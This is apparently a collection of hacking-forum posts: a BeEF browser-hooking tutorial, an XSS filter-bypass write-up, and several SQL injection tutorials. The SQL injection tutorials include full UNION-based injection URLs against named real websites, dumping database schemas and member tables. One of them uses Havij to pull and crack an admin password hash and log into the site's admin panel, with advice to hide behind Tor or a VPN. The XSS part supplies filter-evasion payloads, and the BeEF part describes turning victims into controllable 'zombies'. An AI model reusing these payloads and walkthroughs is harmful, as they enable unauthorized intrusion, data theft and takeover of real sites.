Hello Brothers. As I have seen there is not a tutorial about XSS exploiting via BeEF so I thought I would help you by bringing this.
This is for the people that claim XSS finds are useless and nothing can be exploited further than a simple JavaScript alert pop up. For those of you who do not already know today I will introduce you to a nifty tool called BeEF. It has a user friendly interface controlled via browser which is nice as its not just command line orientated. Start by first loading it from your box.

Code:

$./beef

This tool is also found on Backtrack.

So we run it and are faced with this:

This pretty much just starts the server and has it ready for action. Now go to:

Code:

IP/beef/

Pretty self explanatory and as you see they provide you with a default login password. Once your satisfied with that click "apply config" and you will be logged into the BeEF interface with all of its capability's just waiting to catch zombies.

Play around and get used to the different features. I am not going to explain them. To start catching zombies you need to trigger the beefmagic.js.php file in the victims browser. This acts like a silent browser exploit. It has to be triggered via XSS though. Below is an example of how your evil script should look:

Once you have a zombie it will look like below:

From here its almost like a Trojan horse client. You can run commands and even Metasploit exploits against your victim. Other fun things include finger printing their machine. Creating pop ups to scare them. Capturing their logs  and even using their browser as a proxy. So as you can see A LOT Of damage can be caused via XSS.

Use your imagination and this tool to the best of its capability's. It might prompt you to take these 'easy' level XSS challenges a step further.

Hope you's enjoyed and maybe learned something new. 

Thanks 

salam u alikum
--------------I found this Explanation in some blog
--------------
Since the time bug bounties have started, a lot of security
vulnerabilities can be seen reported. From the college students to Hard
Core Security Researchers, all researchers have been into it. Cross-site
scripting or XSS is one such type of security flaw which is very
frequently reported as this can be found much more easily than other
flaws. But wait, are you sure this can be found easily always? Well, we
disagree.Most testers use two payloads, i.e., “><img src=aa
onerror=alert(1);> and <script>alert(1)</script>; and try
them out at most of the injection points. If you are also following the
same approach, then you are likely to find XSS in most of conditions,
but not in ALL of them. What about those which do not lie in this
category (say the application has got a filter, or say they encode some
characters).
So instead of just passing random payloads, it’s pretty obvious to
first understand where and how the payloads are getting reflected (if
any). It simply means, if you can understand the request and response
properly, you can be the champion. So we will be talking about the
“approach for bypassing XSS filters” in this article.
Here we will mention some of the unique XSS vulnerabilities we found recently.
Case 1:
This is one which I loved personally. While testing an
application there were five columns on the EDIT profile page and all
were vulnerable to improper sanitization. All the payloads were getting
reflected in Attribute of input tag, however the only problem with all
of them was they were not allowing more than 14 characters in each
field. As I started with the following:
aa”>aaaa


Successfully injected and complete the input tag and displayed “aaaa” on the page. So I injected:
a”><script>alert(1)</script>


Injected successfully but didn’t executed my script due to length
based filtration and page was tampered. Tried several other payloads,
and then got to know that only 14 characters were allowed. Suddenly
thought of comments and along with partial payloads. So I broke my
payload into three parts and then injected in three columns
simultaneously:
Part1: “><script>/*

Part 2: */alert(1);/*

Part 3: */</script><!—

So once injected in HTML page, it was something like
<input value=””>script>/* BLAH BLAH BLAH */alert(1);/* BLAH BLAH BLAH */</script><!—

Where BLAH BLAH BLAH are the page contents which I commented using
the Multiline javascript comments and thus my XSS payload got executed
successfully.
Case 2:
While testing a FILE upload functionality, I intercepted the request
using burp. While the contents of file were being transferred as an XML,
the inputs were getting echoed on the page which was used to show the
progress of the upload. So I tried to include a CDATA into the XML file
and thought of including my XSS payload in between the CDATA. This
worked fine and I got an XSS. The response where XSS was being echoed
was something like below.
The payload used in this scenario was :

Quote:<![CDATA["><script>alert("XSS")</script><!--]]>

Complete Payload:

Quote:<Application><PNR>B2GBR</PNR><Count>1</Count><StaffTicket>

Quote:<![CDATA["><script>alert("XSS")</script><!--]]>

Quote:</StaffTicket><Itinerary><Flights><FlightNo>8981KL</FlightNo><From><Date>11/20/2012</Date><Time>04:30</Time>

Case 3:
While testing a .NET (.aspx) application which was sanitizing almost
all the inputs (both falling in attributes as well as in main HTML).
There was a module to modify the USER Details. At first I tried with the
following string as the first name value:
aaa<script>aaaa
Page redirected to Error Page, thought <script> might be blocked. So passed this:
aaa<h1>bbbbbb</h1>ccccccccc
Page redirected to Error Page, thought “tags” might be blocked. And
as this string was not passing in any attribute so only way to inject
HTML or JS required a TAG. So I tried with full width encoding. Here is a
complete chart which you can refer for the same. http://www.unicode.org/charts/PDF/UFF00.pdf . Using
this I encoded the right angular bracket (>) and left angular
bracket (<) to %uff1e and %uff1c respectively. Resulting payload with
XSS script:
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e 
(<script>alert(1)</script>)
This time payload got injected but did not got executed. When I
analyzed the source code, got to see that due to length based filtering
some part of payload was not injected which was in fact defacing the
site. So I made another account. This time I thought to encode half of
the payload instead of encoding the complete payload. So I encoded
(<) to %uff1c but left (>) as it is. This reduced the length of my
payload by 22 characters. Therefore I passed:
%uff1cscript>alert(1)%uff1c/script>
And voila, this worked and I was able to report an XSS.
Case 4:
The inputs I was sending were getting reflected at around 5 places in
the response page. Two of them were in main HTML, where “angular
brackets” were filtered. Two of them were falling in input tag
attributes, where “double quotes” were filtered. However, one of them
was getting into JavaScript, which seemed to be a potential injection
point to me. The only mistake developers had done was, they forgot to
use “add-slash” with the single quotes and double quotes being passed in
JavaScript. As JavaScript if a HOTSPOT for XSS, I started my hit and
trial with it.
The place where my values were injecting was:
var a=(“bbbbb”, “abcdef”);’ — where bbbb was my injection point.
Obviously, there was no point of injecting “><img src stuff. So
at the very first I tried to take the things out of the variable, then
function and then execute.
aaa”aaa, “abcdef”);’ alert(1);
This got blocked as “SPACES” were not allowed in the input. So I used “plus sign”. And the page got redirected to an error page.
aaa”aaa,+”abcdef”);’+alert(1);
This didn’t work as “comma” was not allowed. Next:
aaa”aaa);’+alert(1); 
It still didn’t work. I wondered why it was not working. Then deeply
analyzed the code, and realized, I was supposed to close the string, so I
entered this:
aaa”aaa);’+alert(1); var c=”
Again there was something wrong; string was not getting closed
properly. At this point, I was able to inject the payload easily but was
unable to execute it properly. So next:
aaa”aaa);’+alert(1);+var size=’(“444
And finally a pop up. This payload actually, closed the string, took
my value out of the function, executed the alert(1), made another
variable in the same manner as previous one was made (in which values
were getting injected), and then left the double quote opened so as to
complete the actual string in the page.
So the main point which I wanted to explain from this article is,
don’t just “BRUTE FORCE” the payloads, instead try to analyze the
injection point and then make the payload.
Case 5:
This one I found on one of the BUG BOUNTY sites and was also out of
my favourite ones. While exploring the site, I got to see a Word-press
based blog being employed which moreover was using a theme which used an
older version of “timthumb.php” and to the surprise this was not
properly patched. Developers have patched the XSS in the file but
partially.
When I tried
http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/timthumb.php?src=aaaa<bb>aa
The page echoed only aaaa aa and <bb> was sanitized in an
awesome manner. Then I tried RFI and tried to include a PHP file on the
server (by first uploading to a free web host), but the page came up
with an error that PHP files are not allowed. Again proper validation.
Everything was fine until I tried with a JS file.
When I uploaded JS file on my free web hosting account and then included it in timthumb with the following URL:
http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/timthumb.php?src=abcdef.my3gb.com/flicker.com/shubham.js
the page said:
File type not supported: data/www/wp_blog/wp-content/themes/yamidoo_pro/scripts
Where abcd/xyz/pqr was the internal path disclosure and the MD5 was the hash of the (abcdef.my3gb.com/flicker.com/shubham.js)
Being very obvious, I modified the URL to http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/17ba317694138461350bacd42cb37908.js
And BOOM. My js file was here. But as we know PHP files were not
supported, I tried with .cgi and .inc, both went waste as the file
started getting downloaded instead of executing there.
So I lowered down my mind from RFI to XSS and uploaded a HTML page on my free hosting account with malicious javascript into it.
Ex:

And named the file shubham.html
When I included the file to the example.com using the following URL:
http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/timthumb.php?src=abcdef.my3gb.com/flicker.com/shubham.html
Again the error came
Unable to Open Image:
data/www/wp_blog/wp-content/themes/yamidoo_pro/scripts/./temp/b6an522ad9c735307e8f4ae822cc9d7c2.html

So modified the URL to
http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/b6an522ad9c735307e8f4ae822cc9d7c2.htm6C
And as this was a page with malicious script, I got three Message
boxes and confirmed the XSS on the site. As this was a stored XSS, and
complete page can be made with whatever malicious script, this was
patched within a day by the site to which I reported.


Enjoy..!

Sup guys?

Since I received positive response from previous posts .....
I m back with a new one !
Here I am going to present the primary automatic MySQL Injection tool for android - DroidSQLi . It permits you to check your MySQL-based net application against SQL injection attacks from your android phones.



DroidSQLi supports the following injection techniques:
- Time based injection
- Blind injection
- Error based injection
- Normal injection
It automatically selects the best technique to use and employs some simple filter evasion methods.

Salam Mad leets .. I wrote this article for my website .. thought to share it here aswell ..



Introduction:

In this tutorial i will show you how to add HTML tags and designs in your SQL Injection queries..




Purpose:


-----> By using HTML tags in our SQLi query, we can arrange the output in a proper way.


-----> Sometimes the result of our query appears in the source of the webpage or in the title or sometimes in the URL. In that case we add HTML tags to make it more visible on the webpage.





-----> I don't know about you guys but as you can see i like Colors and decoration .. ALOT .. 


Tutorial: 

First of all, i assume you guys have sound knowledge of SQL injection and Basic HTML.

For this Tutorial .. The site I'm going to inject is :


hxxp://www.dbhspgoa.edu.in


Here is the vulnerable link where parameter 'id' is vulnerable to a very simple SQLi.


hxxp://dbhspgoa.edu.in/Article.php?id=92


So, lets start with some very basic injection and i can quickly see that there are 9 Columns here.


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,4,5,6,7,8,9--




And I will inject in 4th column. so Lets get the database name in 4th column.


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,concat(database()),5,6,7,8,9--




Now, look at the database name. Even though it is visible ( not in the source code but on the proper page ) but font size is very small .. Don't know about you .. but i don't like it. 

Now, let me show you the wonders of HTML tags.

We can always add HTML in our SQLi query. Sometimes we can write it directly enclosed in single quotes like :


concat ('<opening_tags>', QUERY , '<closing_tags>')


But most of the times this syntax is not allowed and we have to convert our HTML tags in HEX . like ..


concat(0xHEX_value_of_opening_tag , QUERY , 0xHEX_value_of_closing_tag)




Notice these 0x here .. This means that what ever is written after this .. Decode it from HEX before executing.



Following are the basic usage of these tags. You can use your creativity and endless imagination.



Example 1:



Lets start with an HTML tag called <font>.



Usage : <font size="8" color="red"> MakMan </font>



I'm going to use this tag in our query but in this website it doesn't allow to use HTML tags directly so we have to convert to HEX first. Just follow the syntax.


Now my format should be:


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,concat(0xHEX_value_of_opening_tag,database(),0xHEX_value_of_closing_tag),5,6,7,8,9--


To convert in HEX, you can use many online tools. Just google :String to HEX converter
After converting my opening and closing tags in this case.



Opening_tag = <font size="8" color="red"> ---- HEX ---> 3c666f6e742073697a653d22382220636f6c6f723d22726564223e



Closing_tag = </font> ---- HEX ---> 3c2f666f6e743e




Putting these HEX values in my format. My query will become:




hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,concat(0x3c666f6e742073697a653d22382220636f6c6f723d22726564223e,database(),0x3c2f666f6e743e),5,6,7,8,9--





Look at the Result now .. Sweet 





Example 2:

Mostly people write their names in SQL Injection with their query. Lets try that.

Creativity has no boundaries. 

My HTML Syntax before converting to HEX (Just to show you guys what I'm doing, It will not work You have to Convert it to HEX):

hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,group_concat(0x<br><font face='calibri' size="5" color="green">MakMan</font><font face='Impact' size="4" color="red">,table_name,0x</font>,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--


My HTML Syntax after converting it to HEX:


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,group_concat(0x3c62723e3c666f6e7420666163653d2763616c69627269272073697a653d22352220636f6c6f723d​22677265656e223e4d616b4d616e202d2d2d3e3c2f666f6e743e3c666f6e7420666163653d27496d​70616374272073697a653d22342220636f6c6f723d22726564223e,table_name,0x3c2f666f6e743e),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--

Check the result. Now just Imagine what else you can do with it.






It took me an hour to write this thread but i want to share the credits of this tutorial with -ajkaro , the best SQL injector i have ever known. Let me show you guys some of his art work with manual SQLi.




...




NOTE: If you copy paste these links from here into your browser tab, make sure to paste it in notepad first and delete these bugs .. 


these Bugs Appear because when we copy paste directly from Blog thread page, we also copy some unicode characters like this zero width space &'#8203; which when comes in a query doesn't show the results properly .. 

Today i am gonna show you how to hack a website using Havij sql injection.


Now Lets start---->

Things you will need -->

1. Havij SQL injection Tool, download it from

Quote:http://www.itsecteam.com/products/havij-v116-advanced-sql-injection/

2. A sql vunerable site, I am taking this site
http://toyonorte.com.co/catalogo_nuevos_...e.php?id=2 as an example.
Checking for sql vulnerability --->

Here i am taking http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2 as an example. 


Now to check is this site vulnerable to sql, I will simply add ' after the site url

like this http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2'

and i get this error on the site
You have an error in
your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near '\'' at line 1It means that site is vulnerable to sql injection.
Exploiting the vulnerable site ---> 

1. Open Havij and paste site url in target field and hit enter
2. Now wait for Havij to get all the databases of the website.
3. Now click on available databse of site and click on Get Tables like i am gonna select535480_toyonorte of my site like in image.

4. By clicking Get Tables Havij will look after the tables available in the database.
5. Now after the
scanning Havij will get all tables, now the main work start , you have
to check it there table available named as admin, users and something
similar to these words like i get usuario in my website and select it and click on Get Columns. Like in pic given below.
 
6. Now after clicking Get Columns havij will get all the columns available in users table.
7. In my case i found diffrent columns like id, login, pass an many more.
8. Now select the columns and click on Get Data like in pic given below.


 
9. Now havij will look after the data available in columns login and password i.e admin username and passowrd like i get 
username --> admin password--> 21232f297a57a5a743894a0e4a801fc3 (in encrypted form)
Like in image below

 
10. Now after i get
username and password there is a problem that passowrd i s encrypted in
mdm language , so we have to crack it .

11. To crack encrypted password just copy password click on MD5 tab in havij and paste the encrypted password in MD5 hash field and hit start.Now havij will try to crack the password. Like i cracked in image given below. 
12. Now i get Password cracked as admin.

13. Now we will check for admin panel where we gonna login with username and passoword.

In my case i found http://toyonorte.com.co/admin/ as admin panel, now open it in a web browser and login with username and password and now you are in admin panel.

Notes--->
1. Website hacking is illegal
2. Use proxy, tor, vpn for your security.

Salam Visitor's.. 



When i started SQL Injection, at first, i used different tools like SQL Map etc .. (which is no doubt a very good tool) and i used to think, why don't people use these tools, why they prefer manual Injection.



Well .. the answer is simple. Lots of things you can do manually can never be done by these tools. Now I only use them when I'm doing Blind Injection.



So, I have decided to write a series of tutorials on SQL Injection from Medium to Advanced Level. There's nothing new from my side in these tutorials except the explanation (The Best i can do). I'm just posting what i have learnt. These threads/articles will be my creation. Not the methods but the threads. 



I have already posted a Basic Tutorial .. Check it here if you haven't checked it yet.



Adding HTML in SQL Injection ( SQLi FUN )





So, In this first part I'm going to show you guys:




1) How to Bypass 1024 character Limit of group_concat().

2) How to Dump a complete table using single query.





1) How to Bypass 1024 character Limit of group_concat():



Some functions in MySQL are limited to a character length of 1024 characters. Now, this limit can be increased only if you're a MySQL 'Root' User.

But, in our case we do not have the permissions to change these limits.

One of the very handy functions we use in our SQL Injection query is group_concat().

This function returns a string with concatenated non-NULL values from a group and by default it is also limited to a character length of 1024.



To demonstrate this whole scenario, I've chosen few targets. For this Example the target I'm going to use is:



hxxp://www.padaweb.org/about.php?cid=2



Here the parameter 'cid' is vulnerable to very simple SQL Injection.



By quickly evaluating the vulnerable columns, this is the query.



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+1,2,3,4--





The vulnerable columns are 1 and 2. Column 1 is in the title of the webpage, where as column 2 is on the webpage. Now i can Inject in Column 2. But just forthe sake of fun, I will inject in Column 1. But first i will use my previous tutorial called
" Adding HTML tags in SQL Injection "
to bring that column 1 from the title of the webpage to the main webpage. 



So, by looking at the source:





I know to bring this column on the webpage i have to close <title> tag as </title>. But as Magic Quotes are 'ON' so i have to convert my HTML tag to HEX first.



My query will be:


hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(</title>,database()),2,3,4--



[b]After converting </title> to HEX:

hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,database()),2,3,4--



And see the result now:



Now if you want to add some colors and stuff follow my previous tutorial.



Coming to the actual goal again, by quickly evaluating all the tables i have found an interesting table

here: tblMember in the main database: padaorg_pada



Lets get the column names of this table. The query will be:



Before Converting to HEX:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(</title>,group_concat(<br>,column_name)),2,3,4+from+information_schema.columns+where+table_name=tblMember--



I have to convert the HTML tags in HEX and tblMember to CHAR() as Magic Quotes are 'ON'.



so after converting:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,group_concat(0x3c62723e,column_nam​e)),2,3,4+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 77, 101, 109, 98, 101, 114)--







Now, by looking at all the column names some one may think that these are all the column names, but no, we have more, we couldn't dump them because of the1024 character limit.



By Using this query i can find no. of Columns in tblMember:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,count(column_name)),2,3,4+from+inf​ormation_schema.columns+where+table_name=CHAR(116, 98, 108, 77, 101, 109, 98, 101, 114)--


That is : 35 Rows of Data







so we are missing some columns here.



Lets do one more test. Lets grab the data in some of the columns.



This query will tell me, how many Entries or Rows are there in this table:


hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,count(*)),2,3,4+from+tblMember--



That is: 45 Rows of Data







Lets see how many do we get using group_concat():



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,group_concat(0x3c62723e,Member_Nam​e,0x3a,Date_Time_Created,0x3a,Date_Time_Modified)),2,3,4+from+tblMember--



That is: 18 Rows of Data







So, we are definitely missing some data here and you know the reason.



To bypass this we are going to use simple programming logic i.e Iterations. Take a look at this code:

PHP Code:

(
 select (@x)
 from (
 select (@x:=0x00),
            (
 select (0)
 from (information_schema.columns)
 where (table_schema!='information_schema') and (0x00)
            in (@x:=concat(@x,'<br>',table_schema,'-->',table_name,'-->',column_name))
 )
 )x) 

Yea .. i know it looks horrible ..  .. but don't worry .. this piece of code will do wonders for us. Let me explain what's happening here.

Warning : IF you have a Weak Heart, Leave this thread at this very moment 



So, we are declaring a variable 'x' here and with the help of nested SELECT statement we will iterate through each and every Table Name and Column name of all the databases available except for 'information_schema' which is not required as it just gives access to the MetaData of the databases and thus all the Column names will be printed with their respective Table names.



I will put this whole code in my SQL Injection query in my vulnerable Column i.e column 1.



Lets try this. My Query will become:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@x) from (select (@x:=0x00), (select (0) from(information_schema.columns) where (table_schema!='information_schema') and (0x00) in (@x:=concat(@x,'<br>',table_schema,'-->',table_name,'-->',column_name))))x)),2,3,4--



But this will NOT work ..  why? because magic quotes are 'ON'. we have to do some Hexing here.



So after Hexing:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@x) from (select (@x:=0x00), (select (0) from(information_schema.columns) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c62723e,table_schema,0x2d2d3e,table_name,0x2d2d3e,column_name)​)))x)),2,3,4--







Lets add some Colors to it  (Be Nice Plz, I know This Query will be HUGE) :



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@x) from (select (@x:=0x00), (select (0) from(information_schema.columns) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c62723e,0x3c666f6e742073697a653d22352220636f6c6f723d2272656422​3e,table_schema,0x3c2f666f6e743e,0x2d2d3e,0x3c666f6e742073697a653d22342220636f6c​6f723d22677265656e223e,table_name,0x3c2f666f6e743e,0x2d2d3e3c666f6e7420636f6c6f7​23d22626c7565223e,column_name))))x)),2,3,4--



Check the result ( SWEET  ) :









2) How to Dump a complete table in one go.



So, after all this, there must be a way to dump a whole table (Data in all Columns) with one Single Query. We are going to use a similar code again but with littlemodification.

PHP Code:

(
 select (@)
 from (
 select (@:=0x00),
           (
 select (@)
 from TABLE_NAME_HERE
 where (@) in (@:=concat(@,'<br>',FIRST_COLUMN_HERE,'-->',SECOND_COLUMN_HERE,'-->',AND_SO_ON))
           )

     )a) 

Lets try this. By using this whole code in our Query:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@) from (select (@:=0x00), (select (@) from tblMember where (@) in (@:=concat(@,0x3c62723e,0x3c666f6e742073697a653d22352220636f6c6f723d22726564223e​,Member_Name,0x3c2f666f6e743e,0x2d2d3e,0x3c666f6e742073697a653d22342220636f6c6f7​23d22677265656e223e,Date_Time_Created,0x3c2f666f6e743e,0x2d2d3e,0x3c666f6e742063​6f6c6f723d22626c7565223e,Date_Time_Modified,0x3c2f666f6e743e))))a)),2,3,4--









That is : 45  ( Which was previously 18 using group_concat)







That's it for the day..The Best SQL Injectors I've ever known .. I hope this was informative .. Thank you so much for reading one of the longest threads 


NOTE: If you copy paste these links from here into your browser tab, make sure to paste it in notepad first and delete these bugs .. 





these Bugs Appear because when we copy paste directly from blog thread page, we also copy some unicode characters like this zero width space &'#8203;which when comes in a query doesn't show the results properly ..